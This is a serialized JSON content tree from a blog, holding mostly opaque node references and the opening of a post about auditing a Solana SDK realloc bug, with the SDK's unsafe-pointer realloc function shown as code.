type":24,"tag":158,"props":14046,"children":14047},{"style":222},[14048],{"type":29,"value":615},{"type":24,"tag":158,"props":14050,"children":14051},{"style":177},[14052],{"type":29,"value":3632},{"type":24,"tag":158,"props":14054,"children":14055},{"style":222},[14056],{"type":29,"value":347},{"type":24,"tag":158,"props":14058,"children":14059},{"style":188},[14060],{"type":29,"value":3641},{"type":24,"tag":158,"props":14062,"children":14063},{"style":222},[14064],{"type":29,"value":3646},{"type":24,"tag":158,"props":14066,"children":14067},{"style":465},[14068],{"type":29,"value":3651},{"type":24,"tag":158,"props":14070,"children":14071},{"class":160,"line":668},[14072],{"type":24,"tag":158,"props":14073,"children":14074},{"style":188},[14075],{"type":29,"value":3549},{"type":24,"tag":395,"props":14077,"children":14078},{"id":3661},[14079],{"type":29,"value":3664},{"type":24,"tag":25,"props":14081,"children":14082},{},[14083],{"type":29,"value":3669},{"type":24,"tag":25,"props":14085,"children":14086},{},[14087,14088,14093,14094,14098],{"type":29,"value":3674},{"type":24,"tag":154,"props":14089,"children":14091},{"className":14090},[],[14092],{"type":29,"value":3680},{"type":29,"value":3682},{"type":24,"tag":32,"props":14095,"children":14096},{},[14097],{"type":29,"value":3687},{"type":29,"value":3689},{"type":24,"tag":147,"props":14100,"children":14101},{"code":3692,"language":150,"meta":7,"className":151,"style":7},[14102],{"type":24,"tag":154,"props":14103,"children":14104},{"__ignoreMap":7},[14105,14120,14127,14134,14141,14184,14239,14282,14345],{"type":24,"tag":158,"props":14106,"children":14107},{"class":160,"line":161},[14108,14112,14116],{"type":24,"tag":158,"props":14109,"children":14110},{"style":177},[14111],{"type":29,"value":3704},{"type":24,"tag":158,"props":14113,"children":14114},{"style":177},[14115],{"type":29,"value":3709},{"type":24,"tag":158,"props":14117,"children":14118},{"style":188},[14119],{"type":29,"value":210},{"type":24,"tag":158,"props":14121,"children":14122},{"class":160,"line":213},[14123],{"type":24,"tag":158,"props":14124,"children":14125},{"style":2588},[14126],{"type":29,"value":3721},{"type":24,"tag":158,"props":14128,"children":14129},{"class":160,"line":238},[14130],{"type":24,"tag":158,"props":14131,"children":14132},{"style":2588},[14133],{"type":29,"value":3729},{"type":24,"tag":158,"props":14135,"children":14136},{"class":160,"line":259},[14137],{"type":24,"tag":158,"props":14138,"children":14139},{"style":2588},[14140],{"type":29,"value":3737},{"type":24,"tag":158,"props":14142,"children":14143},{"class":160,"line":280},[14144,14148,14152,14156,14160,14164,14168,14172,14176,14180],{"type":24,"tag":158,"props":14145,"children":14146},{"style":177},[14147],{"type":29,"value":3745},{"type":24,"tag":158,"props":14149,"children":14150},{"style":222},[14151],{"type":29,"value":3750},{"type":24,"tag":158,"props":14153,"children":14154},{"style":177},[14155],{"type":29,"value":3755},{"type":24,"tag":158,"props":14157,"children":14158},{"style":188},[14159],{"type":29,"value":3760},{"type":24,"tag":158,"props":14161,"children":14162},{"style":171},[14163],{"type":29,"value":3765},{"type":24,"tag":158,"props":14165,"children":14166},{"style":188},[14167],{"type":29,"value":3760},{"type":24,"tag":158,"props":14169,"children":14170},{"style":171},[14171],{"type":29,"value":3774},{"type":24,"tag":158,"props":14173,"children":14174},{"style":188},[14175],{"type":29,"value":3779},{"type":24,"tag":158,"props":14177,"children":14178},{"style":177},[14179],{"type":29,"value":3784},{"type":24,"tag":158,"props":14181,"children":14182},{"style":188},[14183],{"type":29,"value":1071},{"type":24,"tag":158,"props":14185,"children":14186},{"class":160,"line":301},[14187,14191,14195,14199,14203,14207,14211,14215,14219,14223,14227,14231,14235],{"type":24,"tag":158,"props":14188,"children":14189},{"style":177},[14190],{"type":29,"value":3745},{"type":24,"tag":158,"props":14192,"children":14193},{"style":222},[14194],{"type":29,"value":3750},{"type":24,"tag":158,"props":14196,"children":14197},{"style":177},[14198],{"type":29,"value":3804},{"type":24,"tag":158,"props":14200,"children":14201},{"style":188},[14202],{"type":29,"value":3760},{"type":24,"tag":158,"props":14204,"children":14205},{"style":171},[14206],{"type":29,"value":3774},{"type":24,"tag":158,"props":14208,"children":14209},{"style":188},[14210],{"type":29,"value":3817},{"type":24,"tag":158,"props":14212,"children":14213},{"style":177},[14214],{"type":29,"value":3784},{"type":24,"tag":158,"props":14216,"children":14217},{"style":188},[14218],{"type":29,"value":3826},{"type":24,"tag":158,"props":14220,"children":14221},{"style":222},[14222],{"type":29,"value":2146},{"type":24,"tag":158,"props":14224,"children":14225},{"style":496},[14226],{"type":29,"value":3835},{"type":24,"tag":158,"props":14228,"children":14229},{"style":188},[14230],{"type":29,"value":504},{"type":24,"tag":158,"props":14232,"children":14233},{"style":177},[14234],{"type":29,"value":3844},{"type":24,"tag":158,"props":14236,"children":14237},{"style":188},[14238],{"type":29,"value":3849},{"type":24,"tag":158,"props":14240,"children":14241},{"class":160,"line":626},[14242,14246,14250,14254,14258,14262,14266,14270,14274,14278],{"type":24,"tag":158,"props":14243,"children":14244},{"style":177},[14245],{"type":29,"value":3857},{"type":24,"tag":158,"props":14247,"children":14248},{"style":222},[14249],{"type":29,"value":3750},{"type":24,"tag":158,"props":14251,"children":14252},{"style":177},[14253],{"type":29,"value":3755},{"type":24,"tag":158,"props":14255,"children":14256},{"style":188},[14257],{"type":29,"value":3760},{"type":24,"tag":158,"props":14259,"children":14260},{"style":171},[14261],{"type":29,"value":3765},{"type":24,"tag":158,"props":14263,"children":14264},{"style":188},[14265],{"type":29,"value":3760},{"type":24,"tag":158,"props":14267,"children":14268},{"style":171},[14269],{"type":29,"value":3774},{"type":24,"tag":158,"props":14271,"children":14272},{"style":188},[14273],{"type":29,"value":3779},{"type":24,"tag":158,"props":14275,"children":14276},{"style":177},[14277],{"type":29,"value":3784},{"type":24,"tag":158,"props":14279,"children":14280},{"style":188},[14281],{"type":29,"value":1071},{"type":24,"tag":158,"props":14283,"children":14284},{"class":160,"line":668},[14285,14289,14293,14297,14301,14305,14309,14313,14317,14321,14325,14329,14333,14337,14341],{"type":24,"tag":158,"props":14286,"children":14287},{"style":177},[14288],{"type":29,"value":3857},{"type":24,"tag":158,"props":14290,"children":14291},{"style":177},[14292],{"type":29,"value":3345},{"type":24,"tag":158,"props":14294,"children":14295},{"style":222},[14296],{"type":29,"value":3175},{"type":24,"tag":158,"props":14298,"children":14299},{"style":496},[14300],{"type":29,"value":3913},{"type":24,"tag":158,"props":14302,"children":14303},{"style":188},[14304],{"type":29,"value":504},{"type":24,"tag":158,"props":14306,"children":14307},{"style":177},[14308],{"type":29,"value":3922},{"type":24,"tag":158,"props":14310,"children":14311},{"style":188},[14312],{"type":29,"value":3760},{"type":24,"tag":158,"props":14314,"children":14315},{"style":171},[14316],{"type":29,"value":3765},{"type":24,"tag":158,"props":14318,"children":14319},{"style":188},[14320],{"type":29,"value":3760},{"type":24,"tag":158,"props":14322,"children":14323},{"style":171},[14324],{"type":29,"value":3774},{"type":24,"tag":158,"props":14326,"children":14327},{"style":188},[14328],{"type":29,"value":3779},{"type":24,"tag":158,"props":14330,"children":14331},{"style":177},[14332],{"type":29,"value":3784},{"type":24,"tag":158,"props":14334,"children":14335},{"style":188},[14336],{"type":29,"value":521},{"type":24,"tag":158,"props":14338,"children":14339},{"style":222},[14340],{"type":29,"value":347},{"type":24,"tag":158,"props":14342,"children":14343},{"style":188},[14344],{"type":29,"value":3959},{"type":24,"tag":158,"props":14346,"children":14347},{"class":160,"line":676},[14348],{"type":24,"tag":158,"props":14349,"children":14350},{"style":188},[14351],{"type":29,"value":3967},{"type":24,"tag":25,"props":14353,"children":14354},{},[14355],{"type":29,"value":3972},{"type":24,"tag":395,"props":14357,"children":14358},{"id":3975},[14359],{"type":29,"value":3978},{"type":24,"tag":25,"props":14361,"children":14362},{},[14363,14364,14368],{"type":29,"value":3983},{"type":24,"tag":32,"props":14365,"children":14366},{},[14367],{"type":29,"value":3988},{"type":29,"value":3990},{"type":24,"tag":25,"props":14370,"children":14371},{},[14372],{"type":29,"value":3995},{"type":24,"tag":25,"props":14374,"children":14375},{},[14376,14377,14382],{"type":29,"value":4000},{"type":24,"tag":101,"props":14378,"children":14380},{"href":4003,"rel":14379},[105],[14381],{"type":29,"value":4007},{"type":29,"value":4009},{"type":24,"tag":395,"props":14384,"children":14385},{"id":4012},[14386],{"type":29,"value":4015},{"type":24,"tag":25,"props":14388,"children":14389},{},[14390,14391,14396,14397,14402,14403,14408,14409,14414],{"type":29,"value":4020},{"type":24,"tag":154,"props":14392,"children":14394},{"className":14393},[],[14395],{"type":29,"value":4026},{"type":29,"value":4028},{"type":24,"tag":154,"props":14398,"children":14400},{"className":14399},[],[14401],{"type":29,"value":4034},{"type":29,"value":4036},{"type":24,"tag":154,"props":14404,"children":14406},{"className":14405},[],[14407],{"type":29,"value":4042},{"type":29,"value":4044},{"type":24,"tag":154,"props":14410,"children":14412},{"className":14411},[],[14413],{"type":29,"value":4050},{"type":29,"value":347},{"type":24,"tag":147,"props":14416,"children":14417},{"code":4054,"language":150,"meta":7,"className":151,"style":7},[14418],{"type":24,"tag":154,"props":14419,"children":14420},{"__ignoreMap":7},[14421,14436,14451,14458,14465,14480,14503],{"type":24,"tag":158,"props":14422,"children":14423},{"class":160,"line":161},[14424,14428,14432],{"type":24,"tag":158,"props":14425,"children":14426},{"style":165},[14427],{"type":29,"value":168},{"type":24,"tag":158,"props":14429,"children":14430},{"style":171},[14431],{"type":29,"value":4070},{"type":24,"tag":158,"props":14433,"children":14434},{"style":188},[14435],{"type":29,"value":210},{"type":24,"tag":158,"props":14437,"children":14438},{"class":160,"line":213},[14439,14443,14447],{"type":24,"tag":158,"props":14440,"children":14441},{"style":177},[14442],{"type":29,"value":4082},{"type":24,"tag":158,"props":14444,"children":14445},{"style":222},[14446],{"type":29,"value":225},{"type":24,"tag":158,"props":14448,"children":14449},{"style":171},[14450],{"type":29,"value":4091},{"type":24,"tag":158,"props":14452,"children":14453},{"class":160,"line":238},[14454],{"type":24,"tag":158,"props":14455,"children":14456},{"style":188},[14457],{"type":29,"value":307},{"type":24,"tag":158,"props":14459,"children":14460},{"class":160,"line":259},[14461],{"type":24,"tag":158,"props":14462,"children":14463},{"emptyLinePlaceholder":16},[14464],{"type":29,"value":481},{"type":24,"tag":158,"props":14466,"children":14467},{"class":160,"line":280},[14468,14472,14476],{"type":24,"tag":158,"props":14469,"children":14470},{"style":177},[14471],{"type":29,"value":362},{"type":24,"tag":158,"props":14473,"children":14474},{"style":171},[14475],{"type":29,"value":4070},{"type":24,"tag":158,"props":14477,"children":14478},{"style":188},[14479],{"type":29,"value":210},{"type":24,"tag":158,"props":14481,"children":14482},{"class":160,"line":301},[14483,14487,14491,14495,14499],{"type":24,"tag":158,"props":14484,"children":14485},{"style":177},[14486],{"type":29,"value":4128},{"type":24,"tag":158,"props":14488,"children":14489},{"style":177},[14490],{"type":29,"value":4133},{"type":24,"tag":158,"props":14492,"children":14493},{"style":222},[14494],{"type":29,"value":2116},{"type":24,"tag":158,"props":14496,"children":14497},{"style":465},[14498],{"type":29,"value":2620},{"type":24,"tag":158,"props":14500,"children":14501},{"style":188},[14502],{"type":29,"value":473},{"type":24,"tag":158,"props":14504,"children":14505},{"class":160,"line":626},[14506],{"type":24,"tag":158,"props":14507,"children":14508},{"style":188},[14509],{"type":29,"value":307},{"type":24,"tag":25,"props":14511,"children":14512},{},[14513,14514,14519,14520,14525],{"type":29,"value":4157},{"type":24,"tag":101,"props":14515,"children":14517},{"href":4160,"rel":14516},[105],[14518],{"type":29,"value":4164},{"type":29,"value":1826},{"type":24,"tag":101,"props":14521,"children":14523},{"href":4168,"rel":14522},[105],[14524],{"type":29,"value":4172},{"type":29,"value":4174},{"type":24,"tag":395,"props":14527,"children":14528},{"id":4177},[14529],{"type":29,"value":4180},{"type":24,"tag":25,"props":14531,"children":14532},{},[14533],{"type":29,"value":4185},{"type":24,"tag":25,"props":14535,"children":14536},{},[14537],{"type":29,"value":4190},{"type":24,"tag":147,"props":14539,"children":14540},{"code":4193,"language":150,"meta":7,"className":151,"style":7},[14541],{"type":24,"tag":154,"props":14542,"children":14543},{"__ignoreMap":7},[14544,14551,14634,14673,14692,14699,14714,14737,14760,14783],{"type":24,"tag":158,"props":14545,"children":14546},{"class":160,"line":161},[14547],{"type":24,"tag":158,"props":14548,"children":14549},{"style":2588},[14550],{"type":29,"value":4205},{"type":24,"tag":158,"props":14552,"children":14553},{"class":160,"line":213},[14554,14558,14562,14566,14570,14574,14578,14582,14586,14590,14594,14598,14602,14606,14610,14614,14618,14622,14626,14630],{"type":24,"tag":158,"props":14555,"children":14556},{"style":177},[14557],{"type":29,"value":4213},{"type":24,"tag":158,"props":14559,"children":14560},{"style":496},[14561],{"type":29,"value":4218},{"type":24,"tag":158,"props":14563,"children":14564},{"style":188},[14565],{"type":29,"value":504},{"type":24,"tag":158,"props":14567,"children":14568},{"style":177},[14569],{"type":29,"value":4227},{"type":24,"tag":158,"props":14571,"children":14572},{"style":222},[14573],{"type":29,"value":225},{"type":24,"tag":158,"props":14575,"children":14576},{"style":171},[14577],{"type":29,"value":230},{"type":24,"tag":158,"props":14579,"children":14580},{"style":188},[14581],{"type":29,"value":191},{"type":24,"tag":158,"props":14583,"children":14584},{"style":177},[14585],{"type":29,"value":4244},{"type":24,"tag":158,"props":14587,"children":14588},{"style":222},[14589],{"type":29,"value":225},{"type":24,"tag":158,"props":14591,"children":14592},{"style":171},[14593],{"type":29,"value":230},{"type":24,"tag":158,"props":14595,"children":14596},{"style":188},[14597],{"type":29,"value":521},{"type":24,"tag":158,"props":14599,"children":14600},{"style":222},[14601],{"type":29,"value":225},{"type":24,"tag":158,"props":14603,"children":14604},{"style":188},[14605],{"type":29,"value":2262},{"type":24,"tag":158,"props":14607,"children":14608},{"style":171},[14609],{"type":29,"value":4269},{"type":24,"tag":158,"props":14611,"children":14612},{"style":188},[14613],{"type":29,"value":191},{"type":24,"tag":158,"props":14615,"children":14616},{"style":171},[14617],{"type":29,"value":4269},{"type":24,"tag":158,"props":14619,"children":14620},{"style":188},[14621],{"type":29,"value":723},{"type":24,"tag":158,"props":14623,"children":14624},{"style":177},[14625],{"type":29,"value":4286},{"type":24,"tag":158,"props":14627,"children":14628},{"style":171},[14629],{"type":29,"value":4291},{"type":24,"tag":158,"props":14631,"children":14632},{"style":188},[14633],{"type":29,"value":210},{"type":24,"tag":158,"props":14635,"children":14636},{"class":160,"line":238},[14637,14641,14645,14649,14653,14657,14661,14665,14669],{"type":24,"tag":158,"props":14638,"children":14639},{"style":165},[14640],{"type":29,"value":4303},{"type":24,"tag":158,"props":14642,"children":14643},{"style":177},[14644],{"type":29,"value":4308},{"type":24,"tag":158,"props":14646,"children":14647},{"style":222},[14648],{"type":29,"value":462},{"type":24,"tag":158,"props":14650,"children":14651},{"style":496},[14652],{"type":29,"value":4317},{"type":24,"tag":158,"props":14654,"children":14655},{"style":188},[14656],{"type":29,"value":504},{"type":24,"tag":158,"props":14658,"children":14659},{"style":177},[14660],{"type":29,"value":4227},{"type":24,"tag":158,"props":14662,"children":14663},{"style":188},[14664],{"type":29,"value":191},{"type":24,"tag":158,"props":14666,"children":14667},{"style":177},[14668],{"type":29,"value":4244},{"type":24,"tag":158,"props":14670,"children":14671},{"style":188},[14672],{"type":29,"value":1071},{"type":24,"tag":158,"props":14674,"children":14675},{"class":160,"line":259},[14676,14680,14684,14688],{"type":24,"tag":158,"props":14677,"children":14678},{"style":496},[14679],{"type":29,"value":4345},{"type":24,"tag":158,"props":14681,"children":14682},{"style":188},[14683],{"type":29,"value":504},{"type":24,"tag":158,"props":14685,"children":14686},{"style":177},[14687],{"type":29,"value":4354},{"type":24,"tag":158,"props":14689,"children":14690},{"style":188},[14691],{"type":29,"value":2125},{"type":24,"tag":158,"props":14693,"children":14694},{"class":160,"line":280},[14695],{"type":24,"tag":158,"props":14696,"children":14697},{"style":188},[14698],{"type":29,"value":4366},{"type":24,"tag":158,"props":14700,"children":14701},{"class":160,"line":301},[14702,14706,14710],{"type":24,"tag":158,"props":14703,"children":14704},{"style":177},[14705],{"type":29,"value":4374},{"type":24,"tag":158,"props":14707,"children":14708},{"style":177},[14709],{"type":29,"value":4218},{"type":24,"tag":158,"props":14711,"children":14712},{"style":188},[14713],{"type":29,"value":210},{"type":24,"tag":158,"props":14715,"children":14716},{"class":160,"line":626},[14717,14721,14725,14729,14733],{"type":24,"tag":158,"props":14718,"children":14719},{"style":177},[14720],{"type":29,"value":4390},{"type":24,"tag":158,"props":14722,"children":14723},{"style":177},[14724],{"type":29,"value":4395},{"type":24,"tag":158,"props":14726,"children":14727},{"style":222},[14728],{"type":29,"value":1285},{"type":24,"tag":158,"props":14730,"children":14731},{"style":165},[14732],{"type":29,"value":4404},{"type":24,"tag":158,"props":14734,"children":14735},{"style":188},[14736],{"type":29,"value":473},{"type":24,"tag":158,"props":14738,"children":14739},{"class":160,"line":668},[14740,14744,14748,14752,14756],{"type":24,"tag":158,"props":14741,"children":14742},{"style":177},[14743],{"type":29,"value":3857},{"type":24,"tag":158,"props":14745,"children":14746},{"style":177},[14747],{"type":29,"value":2944},{"type":24,"tag":158,"props":14749,"children":14750},{"style":222},[14751],{"type":29,"value":1989},{"type":24,"tag":158,"props":14753,"children":14754},{"style":177},[14755],{"type":29,"value":4428},{"type":24,"tag":158,"props":14757,"children":14758},{"style":188},[14759],{"type":29,"value":473},{"type":24,"tag":158,"props":14761,"children":14762},{"class":160,"line":676},[14763,14767,14771,14775,14779],{"type":24,"tag":158,"props":14764,"children":14765},{"style":177},[14766],{"type":29,"value":3857},{"type":24,"tag":158,"props":14768,"children":14769},{"style":177},[14770],{"type":29,"value":3025},{"type":24,"tag":158,"props":14772,"children":14773},{"style":222},[14774],{"type":29,"value":1989},{"type":24,"tag":158,"props":14776,"children":14777},{"style":177},[14778],{"type":29,"value":4452},{"type":24,"tag":158,"props":14780,"children":14781},{"style":188},[14782],{"type":29,"value":473},{"type":24,"tag":158,"props":14784,"children":14785},{"class":160,"line":684},[14786],{"type":24,"tag":158,"props":14787,"children":14788},{"style":188},[14789],{"type":29,"value":4366},{"type":24,"tag":25,"props":14791,"children":14792},{},[14793],{"type":29,"value":4468},{"type":24,"tag":1786,"props":14795,"children":14796},{},[14797,14801,14805],{"type":24,"tag":1790,"props":14798,"children":14799},{},[14800],{"type":29,"value":4476},{"type":24,"tag":1790,"props":14802,"children":14803},{},[14804],{"type":29,"value":4481},{"type":24,"tag":1790,"props":14806,"children":14807},{},[14808],{"type":29,"value":4486},{"type":24,"tag":59,"props":14810,"children":14811},{"id":4489},[14812],{"type":29,"value":4492},{"type":24,"tag":25,"props":14814,"children":14815},{},[14816],{"type":29,"value":4497},{"type":24,"tag":25,"props":14818,"children":14819},{},[14820],{"type":29,"value":4502},{"type":24,"tag":25,"props":14822,"children":14823},{},[14824,14825,14830],{"type":29,"value":4507},{"type":24,"tag":101,"props":14826,"children":14828},{"href":4510,"rel":14827},[105],[14829],{"type":29,"value":4514},{"type":29,"value":347},{"type":24,"tag":4517,"props":14832,"children":14833},{},[14834],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":14836},[14837,14838,14841,14848],{"id":61,"depth":213,"text":64},{"id":118,"depth":213,"text":121,"children":14839},[14840],{"id":397,"depth":238,"text":392},{"id":3394,"depth":213,"text":3397,"children":14842},[14843,14844,14845,14846,14847],{"id":3410,"depth":238,"text":3413},{"id":3661,"depth":238,"text":3664},{"id":3975,"depth":238,"text":3978},{"id":4012,"depth":238,"text":4015},{"id":4177,"depth":238,"text":4180},{"id":4489,"depth":213,"text":4492},{"_path":14850,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":14851,"description":14852,"author":14853,"image":14854,"date":14858,"isFeatured":16,"onBlogPage":16,"tags":14859,"body":14860,"_type":4536,"_id":19983,"_source":4538,"_file":19984,"_stem":19985,"_extension":4541},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":14855,"height":14856,"width":14857},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[4554,19],{"type":21,"children":14861,"toc":19967},[14862,14890,14910,15580,15600,15611,15623,15756,15766,15772,15798,16139,16184,16511,16574,16587,16661,16729,16750,16763,16777,17126,17137,17142,17273,17324,17350,17362,17535,17671,17712,17749,17815,17820,17858,17912,17923,18067,18079,18085,18091,18124,18138,18260,18279,18307,18313,18403,18494,18500,18505,18552,18821,18896,18907,18934,19266,19278,19351,19624,19661,19963],{"type":24,"tag":25,"props":14863,"children":14864},{},[14865,14867,14873,14875,14880,14882,14888],{"type":29,"value":14866},"It all started with an audit of a program that used ",{"type":24,"tag":154,"props":14868,"children":14870},{"className":14869},[],[14871],{"type":29,"value":14872},"realloc",{"type":29,"value":14874}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":154,"props":14876,"children":14878},{"className":14877},[],[14879],{"type":29,"value":14872},{"type":29,"value":14881}," call (from ",{"type":24,"tag":154,"props":14883,"children":14885},{"className":14884},[],[14886],{"type":29,"value":14887},"solana_program",{"type":29,"value":14889},") would error out appropriately.",{"type":24,"tag":25,"props":14891,"children":14892},{},[14893,14895,14901,14902,14909],{"type":29,"value":14894},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":154,"props":14896,"children":14898},{"className":14897},[],[14899],{"type":29,"value":14900},"AccountInfo::realloc",{"type":29,"value":816},{"type":24,"tag":101,"props":14903,"children":14906},{"href":14904,"rel":14905},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[105],[14907],{"type":29,"value":14908},"implemented",{"type":29,"value":225},{"type":24,"tag":147,"props":14911,"children":14913},{"className":151,"code":14912,"language":150,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[14914],{"type":24,"tag":154,"props":14915,"children":14916},{"__ignoreMap":7},[14917,15011,15045,15052,15060,15072,15080,15172,15205,15212,15220,15350,15381,15388,15395,15403,15437,15449,15498,15510,15539,15546,15553,15560,15573],{"type":24,"tag":158,"props":14918,"children":14919},{"class":160,"line":161},[14920,14925,14930,14935,14939,14943,14948,14952,14957,14961,14966,14970,14975,14979,14983,14987,14992,14997,15002,15007],{"type":24,"tag":158,"props":14921,"children":14922},{"style":165},[14923],{"type":29,"value":14924},"pub",{"type":24,"tag":158,"props":14926,"children":14927},{"style":165},[14928],{"type":29,"value":14929}," fn",{"type":24,"tag":158,"props":14931,"children":14932},{"style":496},[14933],{"type":29,"value":14934}," realloc",{"type":24,"tag":158,"props":14936,"children":14937},{"style":188},[14938],{"type":29,"value":504},{"type":24,"tag":158,"props":14940,"children":14941},{"style":222},[14942],{"type":29,"value":2212},{"type":24,"tag":158,"props":14944,"children":14945},{"style":165},[14946],{"type":29,"value":14947},"self",{"type":24,"tag":158,"props":14949,"children":14950},{"style":188},[14951],{"type":29,"value":191},{"type":24,"tag":158,"props":14953,"children":14954},{"style":177},[14955],{"type":29,"value":14956},"new_len",{"type":24,"tag":158,"props":14958,"children":14959},{"style":222},[14960],{"type":29,"value":225},{"type":24,"tag":158,"props":14962,"children":14963},{"style":171},[14964],{"type":29,"value":14965}," usize",{"type":24,"tag":158,"props":14967,"children":14968},{"style":188},[14969],{"type":29,"value":191},{"type":24,"tag":158,"props":14971,"children":14972},{"style":177},[14973],{"type":29,"value":14974},"zero_init",{"type":24,"tag":158,"props":14976,"children":14977},{"style":222},[14978],{"type":29,"value":225},{"type":24,"tag":158,"props":14980,"children":14981},{"style":171},[14982],{"type":29,"value":2928},{"type":24,"tag":158,"props":14984,"children":14985},{"style":188},[14986],{"type":29,"value":723},{"type":24,"tag":158,"props":14988,"children":14989},{"style":222},[14990],{"type":29,"value":14991},"->",{"type":24,"tag":158,"props":14993,"children":14994},{"style":171},[14995],{"type":29,"value":14996}," Result",{"type":24,"tag":158,"props":14998,"children":14999},{"style":188},[15000],{"type":29,"value":15001},"\u003C(), ",{"type":24,"tag":158,"props":15003,"children":15004},{"style":171},[15005],{"type":29,"value":15006},"ProgramError",{"type":24,"tag":158,"props":15008,"children":15009},{"style":188},[15010],{"type":29,"value":8922},{"type":24,"tag":158,"props":15012,"children":15013},{"class":160,"line":213},[15014,15018,15023,15027,15032,15036,15041],{"type":24,"tag":158,"props":15015,"children":15016},{"style":165},[15017],{"type":29,"value":2710},{"type":24,"tag":158,"props":15019,"children":15020},{"style":177},[15021],{"type":29,"value":15022}," orig_len",{"type":24,"tag":158,"props":15024,"children":15025},{"style":222},[15026],{"type":29,"value":462},{"type":24,"tag":158,"props":15028,"children":15029},{"style":165},[15030],{"type":29,"value":15031}," self",{"type":24,"tag":158,"props":15033,"children":15034},{"style":222},[15035],{"type":29,"value":347},{"type":24,"tag":158,"props":15037,"children":15038},{"style":496},[15039],{"type":29,"value":15040},"data_len",{"type":24,"tag":158,"props":15042,"children":15043},{"style":188},[15044],{"type":29,"value":5329},{"type":24,"tag":158,"props":15046,"children":15047},{"class":160,"line":238},[15048],{"type":24,"tag":158,"props":15049,"children":15050},{"emptyLinePlaceholder":16},[15051],{"type":29,"value":481},{"type":24,"tag":158,"props":15053,"children":15054},{"class":160,"line":259},[15055],{"type":24,"tag":158,"props":15056,"children":15057},{"style":2588},[15058],{"type":29,"value":15059}," // realloc\n",{"type":24,"tag":158,"props":15061,"children":15062},{"class":160,"line":280},[15063,15068],{"type":24,"tag":158,"props":15064,"children":15065},{"style":165},[15066],{"type":29,"value":15067}," unsafe",{"type":24,"tag":158,"props":15069,"children":15070},{"style":188},[15071],{"type":29,"value":210},{"type":24,"tag":158,"props":15073,"children":15074},{"class":160,"line":301},[15075],{"type":24,"tag":158,"props":15076,"children":15077},{"style":2588},[15078],{"type":29,"value":15079}," // First set new length in the serialized data\n",{"type":24,"tag":158,"props":15081,"children":15082},{"class":160,"line":626},[15083,15087,15092,15096,15100,15104,15109,15114,15118,15123,15127,15131,15136,15140,15144,15148,15152,15156,15160,15164,15168],{"type":24,"tag":158,"props":15084,"children":15085},{"style":165},[15086],{"type":29,"value":4732},{"type":24,"tag":158,"props":15088,"children":15089},{"style":177},[15090],{"type":29,"value":15091}," ptr",{"type":24,"tag":158,"props":15093,"children":15094},{"style":222},[15095],{"type":29,"value":462},{"type":24,"tag":158,"props":15097,"children":15098},{"style":165},[15099],{"type":29,"value":15031},{"type":24,"tag":158,"props":15101,"children":15102},{"style":222},[15103],{"type":29,"value":347},{"type":24,"tag":158,"props":15105,"children":15106},{"style":496},[15107],{"type":29,"value":15108},"try_borrow_mut_data",{"type":24,"tag":158,"props":15110,"children":15111},{"style":188},[15112],{"type":29,"value":15113},"()",{"type":24,"tag":158,"props":15115,"children":15116},{"style":222},[15117],{"type":29,"value":4798},{"type":24,"tag":158,"props":15119,"children":15120},{"style":496},[15121],{"type":29,"value":15122},"as_mut_ptr",{"type":24,"tag":158,"props":15124,"children":15125},{"style":188},[15126],{"type":29,"value":15113},{"type":24,"tag":158,"props":15128,"children":15129},{"style":222},[15130],{"type":29,"value":347},{"type":24,"tag":158,"props":15132,"children":15133},{"style":496},[15134],{"type":29,"value":15135},"offset",{"type":24,"tag":158,"props":15137,"children":15138},{"style":188},[15139],{"type":29,"value":504},{"type":24,"tag":158,"props":15141,"children":15142},{"style":222},[15143],{"type":29,"value":5987},{"type":24,"tag":158,"props":15145,"children":15146},{"style":465},[15147],{"type":29,"value":5736},{"type":24,"tag":158,"props":15149,"children":15150},{"style":188},[15151],{"type":29,"value":723},{"type":24,"tag":158,"props":15153,"children":15154},{"style":165},[15155],{"type":29,"value":2245},{"type":24,"tag":158,"props":15157,"children":15158},{"style":222},[15159],{"type":29,"value":615},{"type":24,"tag":158,"props":15161,"children":15162},{"style":165},[15163],{"type":29,"value":2169},{"type":24,"tag":158,"props":15165,"children":15166},{"style":171},[15167],{"type":29,"value":230},{"type":24,"tag":158,"props":15169,"children":15170},{"style":188},[15171],{"type":29,"value":473},{"type":24,"tag":158,"props":15173,"children":15174},{"class":160,"line":668},[15175,15179,15184,15188,15193,15197,15201],{"type":24,"tag":158,"props":15176,"children":15177},{"style":222},[15178],{"type":29,"value":9392},{"type":24,"tag":158,"props":15180,"children":15181},{"style":177},[15182],{"type":29,"value":15183},"ptr",{"type":24,"tag":158,"props":15185,"children":15186},{"style":222},[15187],{"type":29,"value":462},{"type":24,"tag":158,"props":15189,"children":15190},{"style":177},[15191],{"type":29,"value":15192}," new_len",{"type":24,"tag":158,"props":15194,"children":15195},{"style":165},[15196],{"type":29,"value":2231},{"type":24,"tag":158,"props":15198,"children":15199},{"style":171},[15200],{"type":29,"value":230},{"type":24,"tag":158,"props":15202,"children":15203},{"style":188},[15204],{"type":29,"value":473},{"type":24,"tag":158,"props":15206,"children":15207},{"class":160,"line":676},[15208],{"type":24,"tag":158,"props":15209,"children":15210},{"emptyLinePlaceholder":16},[15211],{"type":29,"value":481},{"type":24,"tag":158,"props":15213,"children":15214},{"class":160,"line":684},[15215],{"type":24,"tag":158,"props":15216,"children":15217},{"style":2588},[15218],{"type":29,"value":15219}," // Then set the new length in the local 